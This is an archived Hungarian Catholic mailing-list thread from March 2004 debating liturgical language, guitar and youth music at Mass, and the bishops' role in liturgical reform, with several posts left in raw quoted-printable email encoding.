alkalmatlanná teszi a szerves részvételt. Nem arról van szó, hogy én soha nem megyek külföldön misére, hanem arról, hogy rendszeresen az érthetetlen szó nem tud átadni megfelelő tanítást. A liturgia egy "misztikus" közegbe van burkolva, a papok inkább beavatott varázslónak tűnnek, mintsem Isten szolgáinak. Ez nekem távoli, elfogadhatatlan. Lehet, hogy túl nyugati, felvilágosult vagyok, vagy túl jártas a világi dolgokban." Ez a két egymásnak feszülő álláspont az elmúlt évtizedben a liturgikus teológia egyik központi kérdésévé vált. Rengeteg szakmai és egyéb fórumon vitatkoztak és vitatkoznak róla hívek, papok és püspökök egyaránt. Különösen nagy súlyt adott ennek a vitának Joseph Ratzinger bíboros, aki több mint 20 éve a Hittani Kongregáció prefektusa (vagyis az egyházi tanítóhivatal első számú képviselője), újabban pedig a szent kollégium dékánja (vagyis többek között egy esetleges pápaválasztó konklávé fő lebonyolítója). Ő számos megnyilatkozásában - magyarul legutóbb "A liturgia szelleme" című könyvében - lépett fel a korunkban egyre inkább elharapózó liturgikus szubjektivizmus ellen és megpróbálta bemutatni az objektív jellegzetességek biblikus és történeti alapjait. Írásai, ill. a Szentszék hasonló szellemű legújabb dokumentumai rendkívül komoly (olykor indulatos, sőt nemtelen) kritikában részesültek olyan meghatározó liturgikus szakemberek részéről, mint a francia P. Pierre-Marie Gy vagy a német Rainer Kaczynski. Az amerikai bencés Rembert G. Weakland (a közelmúltig Milwaukee érseke) jóval visszafogottabb módon adott hangot kétségeinek a bíboros által képviselt "reform reformja" felfogással szemben. Úgy tűnik tehát, e vita hazai megjelenésével mi is megérkeztünk Európába. Talán kevésbé ismert azonban, hogy a püspök Ratzinger és a szintén püspök Weakland eltérő liturgikus felfogása végső soron eltérő egyháztani (ekkléziológiai) koncepciójukra vezethető vissza. A kérdés a térben és időben egyetemes világegyház (vö. objektivitás) és a helyi egyházak (vö. szubjektivitás) fogalmának logikai, ontológiai stb. viszonya egymáshoz, ezzel összefüggésben pedig a püspöki kollégialitás természete. Ratzinger az előbbi prioritását tanítja, és ezt a szemléletet tükrözik a Szentszék hivatalos dokumentumai is (pl. a Hittani Kongregáció "Communionis notio" levele). Vele szemben ezúttal egy másik bíboros, Walter Kasper szállt sorompóba, vitájukról legújabban már magyar nyelvű összefoglaló is olvasható. Mindez jól mutatja, mennyire nem felszíni, mellékes kérdés a liturgia ügye: szinte minden fontosabb felmerülő problémánál magáról az Egyház lényegéről van szó. Visszatérve az európaiság és a nyugati kultúra kérdésére: a Kultúra Pápai Tanácsának tegnap kezdődött plenáris ülésén ismertették egy, a hitre és hitetlenségre vonatkozó nemzetközi felmérés eredményét. Ebben olvasható: "A hitetlenség nem növekszik a világban. Ez egy olyan jelenség, amely mindenekelőtt a nyugati világhoz kötődik. Nem kötődik Ázsiához, Latin-Amerikához vagy Afrikához, sem a muzulmán világhoz. A harcos ateizmus hanyatlóban van, és nem bír semmilyen nyilvános befolyással néhány olyan rezsimet kivéve, ahol továbbra is ateista politikai rendszer van hatalmon. Megfigyelhető azonban egy bizonyos harcos világi csoport, különösen Európában. Növekvőben van a vallási indifferentizmus avagy gyakorlati ateizmus. Az agnosztikusok és a nem gyakorló hívek egyre inkább egyetlen csoportot alkotnak, amely úgy él, mintha Isten nem is léteznék: a 'homo indifferens' felemelkedésének lehetünk tanúi. A rendszeresen templomba járók száma csökkenőben van. Ez nem a hitetlenek számának növekedését jelenti, hanem inkább a vallásgyakorlás és a hit módjának megváltozását: az odatartozás nélküli hitet. Egy újfajta, inkább lelki[ségi?], mint vallásos keresés van növekvőben, amely nem mindig esik egybe a hagyományos vallásgyakorlathoz való visszatéréssel." Úgy tűnik tehát, hogy a válság elsősorban a nyugat-európai típusú társadalmak latin rítusú egyházának tagjait érinti. Nekünk magyaroknak azonban nem kell Afrikába vagy Ázsiába utaznunk ahhoz, hogy más gondolkodásmódot, sőt más nyelvet lássunk. Élnek közöttünk görög katolikusok, akik igen ősi liturgiát végeznek - magyar nyelven. Élnek közöttünk örmény katolikusok, akiknél ma is liturgikus nyelv az óörmény. Kérdezzük meg tőlük, hogy miért. Hátha tanulunk valamit - valami olyat, amit mi már régen elfelejtettünk. 4. Teendők, tenni vágyók és tehetősek Kaibás Gábor Márk: "Mindez szép és jó [Kaibás G. M. talán nem is tudja, hogy e szavakkal önkéntelenül Erdő Péter egyik gyakori szófordulatát idézi - R.Z.], amit ezen a levelezőlistán megbeszélünk, tényleg elhangzanak a különböző felfogásokat kielégítő érvelések, de a kérdésem ezek után csak annyi, hogy ha elméletben mindez megfogalmazható és meg is fogalmazódik bennünk, akkor MIÉRT NEM VAGYUNK KÉPESEK TENNI IS VALAMIT A MEGVALÓSÍTÁS ÉRDEKÉBEN IS ??? [...] Papjaink felfogása a zsoltározással, vagy az ordinárium helyetti népének énekléssel, vagy a Gloria szavalásával bizony már kevésbé megváltoztatható. [...] Azt hiszem, nem én vagyok a legmegfelelőbb ember az ilyen reformok elindításához, vagy az ezen szempontokban való döntéshez. Én csak egy véleményt fogalmaztam meg, a saját véleményemet, amellyel sürgetni szeretném és cselekvésre késztetni az erre adekvát személyeket." Tenni csak az tud valamit, akinek ereje és hatalma is van hozzá. Mivel a Katolikus Egyház hierarchikus felépítésű - legalábbis Magyarországon egyelőre még az -, a papok felfogása igenis megváltoztatható, mégpedig püspökeik által. Ha a püspökök közlik papjaikkal, hogy mire kell figyelniük, azok többet nem hivatkozhatnak arra, hogy nem ismerik a liturgikus előírásokat. Én a magam részéről megpróbáltam mindent megtenni. 2002 február 20-án személyesen adtam át a Magyar Katolikus Püspöki Konferencia elnökének a "Liturgiam authenticam" instrukció magyar fordítását azzal a megjegyzéssel, hogy az rá és testületére vonatkozóan jogokat tartalmaz és kötelezettségeket állapít meg. A "Varietates legitimae" instrukció frissen megjelent fordítását 2003 december 14-én ugyanígy a kezébe adtam Magyarország bíboros prímásának. A liturgia ügye innentől fogva az ő kezükben van - és immár nemcsak fizikailag. A "legmegfelelőbb emberek", az "adekvát személyek" ugyanis valóban nem mi volnánk, hanem a püspökök, akik feladatukra nézve "a nyáj pásztorai" (vö. II. János Pál: "Pastores gregis" szinódus utáni apostoli buzdítás, 2003 október 16.), hatalmuk szempontjából pedig "az apostolok utódai" (vö. Püspöki Kongregáció: "Apostolorum successores" direktórium, közzétéve: 2004 március 9.). Jézus szerint az ő juhai hallgatnak a szavára és követik őt (vö. Jn 10, 27). Ugyanezt várja el az Úr az apostolok és az ő utódaik irányában is, akikre bárányainak és juhainak legeltetését bízta (vö. Jn 21, 15-19). Csoda-e azonban, hogy a bárányok hallgatnak, ha nem szól a pásztor, akire hallgathatnának? Néma pásztornak nyája sem érti szavát. :-))) Az Egyház legfőbb pásztora, II. János Pál pápa persze egyáltalán nem néma, sőt mindig is nagy figyelmet szentelt a liturgia ügyének: több komoly önálló dokumentumot is kiadott ebben a tárgyban ("Dominicae cenae", "Dies Domini", "Vicesimus quintus annus"), más írásaiban (pl. nagycsütörtöki leveleiben) pedig rendszeresen visszatérő téma a liturgia. A pápát az egyetemes Egyház kormányzatában helyettesi hatalommal segítő Római Kúria szintén számos jogszabályt bocsátott ki a liturgia helyzetének javítása érdekében ("Varietates legitimae", "Liturgiam authenticam", "Institutio generalis Missalis Romani", a keleti katolikus egyházak liturgikus instrukciója). Mit tesz a Magyar Katolikus Püspöki Konferencia azért, hogy az Apostoli Szentszék előírásait és buzdításait megvalósítsa? Ha esetleg az asztalára kerül, gyorsan leveszi a kérdést a napirendről. Ha esetleg intézetet alapít, utóbb csökkenti az "amúgy sem dolgozó" munkatársak fizetését. Elmélyült körlevelekben tárgyalja korunk elvilágiasodott társadalmának szinte megoldhatatlan szociális és erkölcsi problémáit, a liturgiáról azonban hallgat. Miért? Nem akar szólni róla? Vagy nem tud? A jelenlegi helyzetben a hatályos rendelkezések egyszerű, közérthető összefoglalása és időnként megismételt előadása is óriási hatással bírna, ha már teológiai stb. kfiejtésükre és számonkérésükre nemigen van lehetőség. Amennyiben a liturgia valóban "csúcs, amelyre az Egyház tevékenysége irányul, s egyszersmind forrás, ahonnan minden ereje származik" (II. Vatikáni Zsinat: "Sacrosanctum Concilium" rendelkezés, 10. p.), van-e fontosabb, nemesebb, komolyabb tárgy, amely méltó lehet a püspökök figyelmére? Világunkban még (vagy már?) ma is hívek tömegei hiszik azt, hogy az Egyház egyfajta szolgáltató intézmény, amely az emberi élet fontosabb pillanataiban a megrendelő igényei szerint keresztel, esket és temet, a közelebbről érdeklődők számára gyóntat és misézik, a pap pedig egy 24 órában rendelkezésre álló "mindenki szolgája", akinek kötelessége agyba-főbe esketni és temetni hívőt és hitetlent, egyszerre gyóntatni és misézni ezer helyen és időben. Hiteles liturgia? Arra a megrendelőnek nincsen igénye. Hogy miért? Mert nem tanították meg rá. Node ki más is taníthatná meg, mint a püspökök? A bárányok tehát hallgatnak, mert nem tudnak mit mondani. Ám ha megszólal a pásztor, a juhok hallgatnak rá és követik őt. Ezért imádkozzunk: OMNIPOTENS ET MISERICORS DEVS, QVI BENIGNE SEMPER OPERARIS, VT POSSIMVS IMPLERE, QVAE PRAECIPIS, DILECTARVM TIBI OVIVM ADESTO PASTORI, ET IN HVNC AFFECTVM DIRIGE COR PLEBIS ET PRAESVLIS, VT NEC PASTORI OBOEDIENTIA GREGIS, NEC GREGI DESIT CVRA PASTORIS, QVIA TVI EST MVNERIS TVAEQVE VIRTVTIS, VT ET REGENDI OBOEDIENTES, ET PROBABILES POSSINT ESSE RECTORES. "Mindenható és irgalmas Isten, aki mindig kegyesen azon munkálkodsz, hogy teljesíthessük azt, amit parancsolsz, légy segítője szeretett juhaid pásztorának, és vezesd a nép és a főpap szívét arra az érzületre, hogy se a pásztor ne legyen híján engedelmes nyájnak, se pedig a nyáj gondoskodó pásztornak, mert a Te ajándékod s a Te erőd az oka annak, hogy a vezetendők képesek legyenek az engedelmességre, a vezetők pedig alkalmasak legyenek a követésre." 2004 március 12-én, Nagy Szent Gergely pápa ünnepén (a régi római naptár szerint) Rihmer Zoltán From satya@hcbc.hu Fri Mar 12 13:09:43 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Fri, 12 Mar 2004 14:09:43 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_A_b=E1r=E1nyok_hallgatnak=3F?= References: Message-ID: <013401c40833$f213ba70$66d4fea9@duron> > > A gépzenét az Egyház csak egészen kivételes esetben > engedi meg, pl. a gyermekmisékről szóló "Pueros baptizatos" > instrukció (1973 november 1.) 32. pontja szerint megfelelő > biztosítékok mellett, valamint a kellő körültekintéssel és > különös belátással a gyermekmisékben alkalmazható > technikailag előállított zene, ám ezúttal is csak a püspöki > konferenciák által alkotott szabályok szerint. Az illetékes > kongregáció egy későbbi válasza (Notitiae 13 [1977] 94) Van olyan digitálisorgona (Soroksár Újtelep) ahol az adott orgonával felvetten le tud az orgona zenét játszani. ez nyilván más kategória, mint ha egy magnót kapcsolnék be. A mai technika sokkal többre képes, mint amikor az adoptt dokumentumok készültek. Ez se pro se kontra, ez tény... hogy Erdő Péter > bíboros úr holnap 16.00 órakor a Budavári Nagyboldogasszony > Főplébániatemplomban a Nagy Szent Gergely-év hazai > nyitóeseményeként gregorián főpapi szentmisét celebrál. Akit Ladocsi püspök úr fogja a misét celebrálnio. A bíboros úr a bazilikai imádságot vezeti. satya From ilyzsolt@sis.uab.ro Fri Mar 12 20:39:15 2004 From: ilyzsolt@sis.uab.ro (=?iso-8859-1?Q?Ily=E9s_Zsolt?=) Date: Fri, 12 Mar 2004 21:39:15 +0100 Subject: [Liturgia] =?iso-8859-1?Q?Megk=E9sve=3F?= Message-ID: <000801c40872$1585ca00$6f00a8c0@111> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C4087A.7728A040 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Tisztelt listatagok! M=E1r r=E9g=F3ta szeretn=E9k =E9n is hozz=E1sz=F3lni, megosztani = gondolataimat, de bokros teendoim miatt eddig nem volt r=E1 = lehetos=E9gem. Most is =FAgy irok, hogy m=E9g vagy 30 levelet el sem = olvastam, de att=F3l tartok, hogy mire lesz idom v=E9gre v=E9gigolvasni, = m=E1r r=E9g nem lesz t=E9ma az, amirol irni szeretn=E9k. Elosz=F6r is =F6r=F6memet szeretn=E9m megosztani. Nagyon =F6r=FCl=F6k = annak, hogy van f=F3rum, ahol k=E9rd=E9seinkrol nyiltan =E9s szabadon = t=E1rgyalhatunk, s r=E1ad=E1sul t=F6bb=E9-kev=E9sb=E9 nyiltan =E9s = oszint=E9n. Az m=E9g nagyobb =F6r=F6mem, hogy =FAgy =E9rzem, hogy = mindenki igyekszik ker=FClni egym=E1s s=E9rteget=E9s=E9t. K=F6sz=F6n=F6m mindenki hozz=E1sz=F3l=E1s=E1t, v=E9lem=E9ny=E9t, m=E1ris = nagyon sokat tanultam belol=FCk. S hogy ne ny=FAjtsam hossz=FAra, = m=E1ris v=E1gn=E9k =E9n is a t=E9m=E1ba: 1. Kezdem a m=E1r sokat boncolgatott k=E9rd=E9sekkel: "Lehet-e git=E1ros = =E9nek, git=E1r a liturgi=E1n? Veheto-e m=E1s ordin=E1rium-sz=F6veg = (Kyrie, Gloria stb) mint a "hivatalos"? Sok j=F3 v=E9lem=E9ny =E9s = dokument=E1ci=F3 elhangzott, de egy szempontot az eddig elolvasott = levelekben nem tal=E1ltam. Ezt a szempontot a SC t=F6bb pontja is = emliti, t=F6bbek k=F6z=F6tt a 34 ("a szertart=E1sok alkalmazkodjanak a = hivek k=E9pess=E9geihez), vagy a 38 ("alkalmazkodni kell a = k=FCl=F6nf=E9le k=F6z=F6ss=E9gekhez, vid=E9kekhez..."). Ebben az = Egyh=E1znak az a zsinati sz=E1nd=E9ka nyilv=E1nult meg, amely szerint a = konkr=E9t liturgia kialakit=E1s=E1n=E1l figyelembe kell venni azt is, = hogy kik fognak r=E9sztvenni azon a konkr=E9t liturgi=E1n (fiatalok, = gyerekek, =E9rtelmis=E9giek vagy nem stb). Neh=E9z ezt figyelembe venni, = ha a r=E9sztvevok =F6sszet=E9tele vegyes, de mi is a helyzet akkor, ha = homog=E9n? K=E9t p=E9lda, k=E9t dokumentum: Liturgicae Instaurationes "Instructio" - 1970, a Kultuszkongreg=E1ci=F3 = (SCCD) megnyilatkoz=E1sa (ez volt akkor a neve): A 3. c) pontban = sz=F3szerint ez =E1ll: "A n=E9p liturgikus =E9nekl=E9s=E9t mindenf=E9le = eszk=F6zzel elo kell mozditani, ak=E1r =FAj zenei form=E1k haszn=E1lata = =E1ltal is, amelyek megfelelnek a k=FCl=F6nf=E9le n=E9pek = mentalit=E1s=E1nak =E9s az aktu=E1lis izl=E9snek. A P=FCsp=F6ki Karok = meghat=E1rozhatnak egy repert=F3riumot saj=E1tos csoportokkal v=E9gzett = mis=E9kre sz=E1nt =E9nekekkel, pl. fiatalokkal =E9s gyerekekkel = v=E9gzett mis=E9kre - olyan m=F3don, ahol nemcsak a sz=F6veg, de a = dallam, a ritmus =E9s a hangszerek is alkalmazkodnak a konkr=E9t = k=F6z=F6ss=E9ghez, ugyanakkor megfeleljenek a hely =E9s a kultusz = m=E9lt=F3s=E1g=E1nak =E9s szents=E9g=E9nek". - (ford=EDt=E1s tolem) Gyerekekkel r=E9szv=E9tel=E9vel v=E9gzett szentmise - "Directorium" - = 1973. nov. 1. - SCCD, a Kultuszkongreg=E1ci=F3 rendelkez=E9se = gyerekekkel v=E9gzett mis=E9k rendj=E9rol. A 30-32. pontokban ilyeneket = olvasni: Figyelembe kell venni a gyermekek kapacit=E1s=E1t; A Gloria, = Credo, Sanctus, Agnus Dei lehet saj=E1t dallammal, =E9s m=E9g az is = megengedheto, hogy a sz=F6veg ne legyen teljes =F6sszhangban a hivatalos = liturgikus sz=F6veggel - de ez a v=E1ltozat is a helyi p=FCsp=F6k, = P=FCsp=F6ki Kar j=F3v=E1hagy=E1s=E1ra szorul (vagyis ne =F6nk=E9nyesen = szabdaljuk, alakitsuk a sz=F6veget). - Ford=EDt=E1s itt is tolem. Lehet git=E1r a liturgi=E1n? Az eddig elolvasott levelekbol =FAgy tunik = sz=E1momra, hogy nyilv=E1nval=F3nak, vit=E1n fel=FClinek tekinti = egyik-m=E1sik lev=E9lir=F3 a git=E1r tilalm=E1t. De =E9n ilyen zsinat = ut=E1ni dokumentumot nem ismerek. Ha az egyh=E1z v=E9lem=E9nye a = git=E1rr=F3l ilyen egy=E9rtelmu lenne, akkor biztosan ezt ki is = nyilv=E1nitan=E1. M=E9g a legfrisebb dokumnetumokban sem tal=E1lok = m=E9gcsak utal=E1st sem a git=E1r elutasit=E1s=E1ra (II. J=E1nos P=E1l = p=E1pa megnyilatkoz=E1sa az emlegetett X. Pius-i zen=E9rol sz=F3l=F3 = enciklika 100. =E9vfordul=F3j=E1n - 2003. nov. 22. illetve a SC 40. = =E9vfordul=F3j=E1n megjelent apostoli lev=E9l - 2003. dec. 4.) Elveket = sz=F6geznek le =E9s erositenek meg, de konkr=E9t tilt=E1st a git=E1rra = nem tal=E1ltam. Tud valaki ilyenrol? S v=E9g=FCl egy p=E1r k=E9rd=E9s: Vajon mi=E9rt fontos a fiataloknak az = "ifj=FAs=E1gi =E9nek"? T=E9nyleg csak a diszk=F3 vil=E1g=E1t, = hangulat=E1t akarj=E1k behozni a templomba? Mire is lenne nekik = ig=E9ny=FCk? S az a "prof=E1n vil=E1g" t=E9nyleg annyira istentelen, Isten-ellenes, = hogy semmi j=F3, =E9rt=E9kes nem lenne benne, amit tal=E1n = f=F6lhaszn=E1lhatn=E1nk (legyen az hangszer, stilus vagy b=E1rmi m=E1s)? =C1ldott nagyb=F6jti idot =E9s k=F6lcs=F6n=F6s meg=E9rt=E9st, = tiszteletet mindannyiunk sz=E1m=E1ra! Zsolt ------=_NextPart_000_0005_01C4087A.7728A040 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Tisztelt listatagok!
 
M=E1r r=E9g=F3ta szeretn=E9k =E9n is = hozz=E1sz=F3lni, megosztani=20 gondolataimat, de bokros teendőim miatt eddig nem volt r=E1 = lehetős=E9gem. Most is=20 =FAgy irok, hogy m=E9g vagy 30 levelet el sem olvastam, de att=F3l = tartok, hogy mire=20 lesz időm v=E9gre v=E9gigolvasni, m=E1r r=E9g nem lesz t=E9ma az, = amiről irni=20 szeretn=E9k.
 
Elősz=F6r is =F6r=F6memet = szeretn=E9m megosztani. Nagyon=20 =F6r=FCl=F6k annak, hogy van f=F3rum, ahol k=E9rd=E9seinkről = nyiltan =E9s szabadon=20 t=E1rgyalhatunk, s r=E1ad=E1sul t=F6bb=E9-kev=E9sb=E9 nyiltan =E9s = őszint=E9n. Az m=E9g nagyobb=20 =F6r=F6mem, hogy =FAgy =E9rzem, hogy mindenki igyekszik ker=FClni = egym=E1s=20 s=E9rteget=E9s=E9t.
K=F6sz=F6n=F6m mindenki = hozz=E1sz=F3l=E1s=E1t, v=E9lem=E9ny=E9t, m=E1ris=20 nagyon sokat tanultam belől=FCk. S hogy ne ny=FAjtsam hossz=FAra, = m=E1ris v=E1gn=E9k =E9n is a=20 t=E9m=E1ba:
 
1. Kezdem a m=E1r sokat boncolgatott = k=E9rd=E9sekkel:=20 "Lehet-e git=E1ros =E9nek, git=E1r a liturgi=E1n? Vehető-e = m=E1s ordin=E1rium-sz=F6veg=20 (Kyrie, Gloria stb) mint a "hivatalos"? Sok j=F3 v=E9lem=E9ny =E9s=20 dokument=E1ci=F3 elhangzott, de egy szempontot az eddig elolvasott = levelekben=20 nem tal=E1ltam. Ezt a szempontot a SC t=F6bb pontja is emliti, t=F6bbek = k=F6z=F6tt a 34=20 ("a szertart=E1sok alkalmazkodjanak a hivek k=E9pess=E9geihez), vagy a = 38=20 ("alkalmazkodni kell a k=FCl=F6nf=E9le k=F6z=F6ss=E9gekhez, = vid=E9kekhez..."). Ebben az=20 Egyh=E1znak az a zsinati sz=E1nd=E9ka nyilv=E1nult meg, amely szerint a = konkr=E9t liturgia=20 kialakit=E1s=E1n=E1l figyelembe kell venni azt is, hogy kik fognak = r=E9sztvenni=20 azon a konkr=E9t liturgi=E1n (fiatalok, gyerekek, =E9rtelmis=E9giek vagy = nem stb). Neh=E9z=20 ezt figyelembe venni, ha a r=E9sztvevők =F6sszet=E9tele vegyes, de = mi is a helyzet=20 akkor, ha homog=E9n? K=E9t p=E9lda, k=E9t dokumentum:
 Liturgicae=20 Instaurationes=20 "Instructio" - 1970, a Kultuszkongreg=E1ci=F3 (SCCD) megnyilatkoz=E1sa = (ez volt=20 akkor a neve): A 3. c) pontban sz=F3szerint ez =E1ll: =84A n=E9p = liturgikus =E9nekl=E9s=E9t=20 mindenf=E9le eszk=F6zzel elő kell mozditani, ak=E1r =FAj zenei = form=E1k haszn=E1lata=20 =E1ltal is, amelyek megfelelnek a k=FCl=F6nf=E9le n=E9pek = mentalit=E1s=E1nak =E9s az=20 aktu=E1lis izl=E9snek. A P=FCsp=F6ki Karok meghat=E1rozhatnak egy = repert=F3riumot=20 saj=E1tos csoportokkal v=E9gzett mis=E9kre sz=E1nt =E9nekekkel, pl. = fiatalokkal =E9s=20 gyerekekkel v=E9gzett mis=E9kre - olyan m=F3don, ahol nemcsak a = sz=F6veg, de a=20 dallam, a ritmus =E9s a hangszerek is alkalmazkodnak a konkr=E9t = k=F6z=F6ss=E9ghez,=20 ugyanakkor megfeleljenek a hely =E9s a kultusz m=E9lt=F3s=E1g=E1nak =E9s = szents=E9g=E9nek=94. =96=20 (ford=EDt=E1s tőlem)
Gyerekekkel r=E9szv=E9tel=E9vel v=E9gzett = szentmise -=20 "Directorium" - 1973. nov. 1. - SCCD, a Kultuszkongreg=E1ci=F3 = rendelkez=E9se=20 gyerekekkel v=E9gzett mis=E9k rendj=E9ről. A 30-32. pontokban = ilyeneket olvasni:=20 Figyelembe kell venni a gyermekek kapacit=E1s=E1t; A Gloria, Credo, = Sanctus, Agnus=20 Dei lehet saj=E1t dallammal, =E9s m=E9g az is megengedhető, hogy = a sz=F6veg ne legyen=20 teljes =F6sszhangban a hivatalos liturgikus sz=F6veggel - de ez a = v=E1ltozat is a=20 helyi p=FCsp=F6k, P=FCsp=F6ki Kar j=F3v=E1hagy=E1s=E1ra szorul (vagyis = ne =F6nk=E9nyesen szabdaljuk,=20 alakitsuk a sz=F6veget). =96 Ford=EDt=E1s itt is = tőlem.
 
Lehet git=E1r a liturgi=E1n? Az eddig elolvasott = levelekből =FAgy=20 tűnik sz=E1momra, hogy nyilv=E1nval=F3nak, vit=E1n fel=FClinek = tekinti egyik-m=E1sik=20 lev=E9lir=F3 a git=E1r tilalm=E1t. De =E9n ilyen zsinat ut=E1ni = dokumentumot nem ismerek. Ha=20 az egyh=E1z v=E9lem=E9nye a git=E1rr=F3l ilyen egy=E9rtelmű lenne, = akkor biztosan ezt ki is=20 nyilv=E1nitan=E1. M=E9g a legfrisebb dokumnetumokban sem tal=E1lok = m=E9gcsak utal=E1st sem a=20 git=E1r elutasit=E1s=E1ra (II. J=E1nos P=E1l p=E1pa megnyilatkoz=E1sa az = emlegetett X. Pius-i=20 zen=E9ről sz=F3l=F3 enciklika 100. =E9vfordul=F3j=E1n - 2003. nov. = 22. illetve a SC 40.=20 =E9vfordul=F3j=E1n megjelent apostoli lev=E9l - 2003. dec. = 4.) Elveket=20 sz=F6geznek le =E9s erősitenek meg, de konkr=E9t tilt=E1st a = git=E1rra nem tal=E1ltam. Tud=20 valaki ilyenről?
 
S v=E9g=FCl egy p=E1r k=E9rd=E9s: Vajon = mi=E9rt fontos a=20 fiataloknak az "ifj=FAs=E1gi =E9nek"? T=E9nyleg csak a diszk=F3 = vil=E1g=E1t, hangulat=E1t=20 akarj=E1k behozni a templomba? Mire is lenne nekik = ig=E9ny=FCk?
S az a "prof=E1n vil=E1g" t=E9nyleg annyira = istentelen,=20 Isten-ellenes, hogy semmi j=F3, =E9rt=E9kes nem lenne benne, amit = tal=E1n=20 f=F6lhaszn=E1lhatn=E1nk (legyen az hangszer, stilus vagy b=E1rmi=20 m=E1s)?
 
=C1ldott nagyb=F6jti időt =E9s = k=F6lcs=F6n=F6s meg=E9rt=E9st, tiszteletet=20 mindannyiunk sz=E1m=E1ra!
 
Zsolt
------=_NextPart_000_0005_01C4087A.7728A040-- From kaposztassyb@freemail.hu Fri Mar 12 22:41:03 2004 From: kaposztassyb@freemail.hu (Kaposztassy Bela) Date: Fri, 12 Mar 2004 23:41:03 +0100 Subject: [Liturgia] =?ISO-8859-2?Q?k=F6sz=F6n=F6m?= Message-ID: <57BF06DC-7476-11D8-ADDC-0003930D54C2@freemail.hu> Mindenkinek köszönöm az általam kért himnusszöveg megküldését, a kotta, sőt az internetes források megadását is!!! Üdv! Béla Káposztássy Béla Vecsés, Fő út 51. 2220 29/ 350-397 és 20/ 528-09-10 From imre.kelemen@atrtnet.hu Fri Mar 12 22:45:29 2004 From: imre.kelemen@atrtnet.hu (Kelemen Imre) Date: Fri, 12 Mar 2004 23:45:29 +0100 Subject: [Liturgia] Fw: Liturgikus zene Message-ID: <007801c40883$ca0e76a0$ab02a8c0@infotrade> This is a multi-part message in MIME format. ------=_NextPart_000_006F_01C4088C.199ED5E0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Listatagok!=20 Mint egy nyugd=EDjas h=EDv=F5 - =E9s elfogult ifj=FAs=E1gi-mise = r=E9sztvev=F5 - n=E9h=E1ny megjegyz=E9st szeretn=E9k tenni a liturgikus = zen=E9vel kapcsolatos =E9szrev=E9telekre. Azt olvasom: "Satya mondja, = hogy a kisgyerek sz=EDvesebben =E9nekli a "ne f=E9lj, mert = megv=E1ltottalak" c. =E9neket, mint a "boruljunk le =E9s rettegve ". = =C9n azt hiszem, Saty=E1nak igaza van. Aki a "megv=E1ltottalak" = =E9rtelm=E9vel - m=E9gha kisgyermek fokon is - tiszt=E1ban van, annak a = megv=E1lt=E1s rem=E9nye megnyugtat=F3bb, mint a "rettegve" leborul=E1s. = A h=EDv=F5 embernek - az =F5t Megv=E1lt=F3 Istent=F5l - mi=E9rt kellene = rettegnie? Ez=E9rt - nagyon helyesen - hivatalos =E9neksz=F6veg ide vagy = oda (Szt.Vagy Uram 118, 1874-es!! jav=EDtott sz=F6veg), Szegeden van = olyan hely, ahol az id=E9zett sz=F6veget =EDgy vet=EDtik ki =E9s = =E9neklik: "boruljunk le, s megrend=FClve" , ami igazabb =E9s = kifejez=F5bb. =CDgy kellene v=E1ltoznia a korral a liturgi=E1hoz = kapcsol=F3d=F3 =E9nekek sz=F6vegeinek, dallamainak (=E9s hangszereinek!) = is! A l=E9nyeg: Isten felt=E9tlen elfogad=E1sa =E9s dics=F5=EDt=E9se!=20 Vajjon a Szentatya afrikai =FAtjain koncelebr=E1lt mise=E1ldozatokban = mindig a hivatalos liturgiai sz=F6vegek =E9s zen=E9k hangzottak el? Ha = =D5 azokat az elt=E9r=E9seket elfogadta =E9s ott =EDgy term=E9szetes, = akkor sz=FCks=E9g van-e a Szentatya v=E9lem=E9ny=E9t=F5l esetleg = elt=E9r=F5 "hivatalos" magyar =E9rtelmez=E9sre, mely el=F5=EDrn=E1: mi = az =FCdv=F6z=EDt=F5en helyes liturgikus zene? (Ez a zenek=E9pz=E9sre = term=E9szetesen nem vonatkozik, azt koordin=E1lni kellene!) = Elgondolkodtat=F3, hogy a kialakult liturgikus zenei rendnek - mely = t=F6bb =E9vsz=E1zados - vajjon nincs-e sz=FCks=E9ge ugyanolyan = megreform=E1l=E1sra, mint az a II. Vatik=E1ni Zsinat eredm=E9nyek=E9nt = sokmindenben m=E1r v=E9gbement? =C1ldott nagyb=F6jti id=F5t mindannyiunk sz=E1m=E1ra, = =DCdv=F6zlettel:Kelemen Imre U.i: levelem meg=EDr=E1sa ut=E1n j=F6tt meg a g=E9pzen=E9r=F5l sz=F3l=F3 = instrukci=F3 ismertet=E9se. Rem=E9lem, a j=F3 Isten megbocs=E1jtotta = elh=FAnyt templom=E9p=EDt=F5 pl=E9b=E1nosunk azon tett=E9t, hogy ett=F5l = n=E9ha elt=E9rt. Az esti - orgona n=E9lk=FCli - mis=E9t (k=E1ntor nem = volt) =FAgy oldotta meg, hogy hetente, amikor az ifj=FAs=E1gi =E9nekkar = kinevezett vezet=F5je(aki egy=E9bk=E9nt hivat=E1sos zen=E9sz volt) = r=E1=E9rt, fevett=FCk egy=FCtt a k=F6vetkez=F5 h=E9t liturgi=E1ja =E9s = =E9nekrendje szerinti teljes =E9nekes anyagot, =D5 pedig - = t=E1vir=E1ny=EDtva a magn=F3t - a h=EDvekkel egy=FCtt =E9nekelve, = m=E9gis k=E1ntoros/orgonakis=E9retes mis=E9t mutathatott be. (m=E1s az = elm=E9let =E9s sokszor m=E1s a gyakorlat- szerencs=E9re)=20 Bocs=E1nat a hossz=FAra ny=FAlt megjegyz=E9sek=E9rt. ------=_NextPart_000_006F_01C4088C.199ED5E0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves = Listatagok!=20
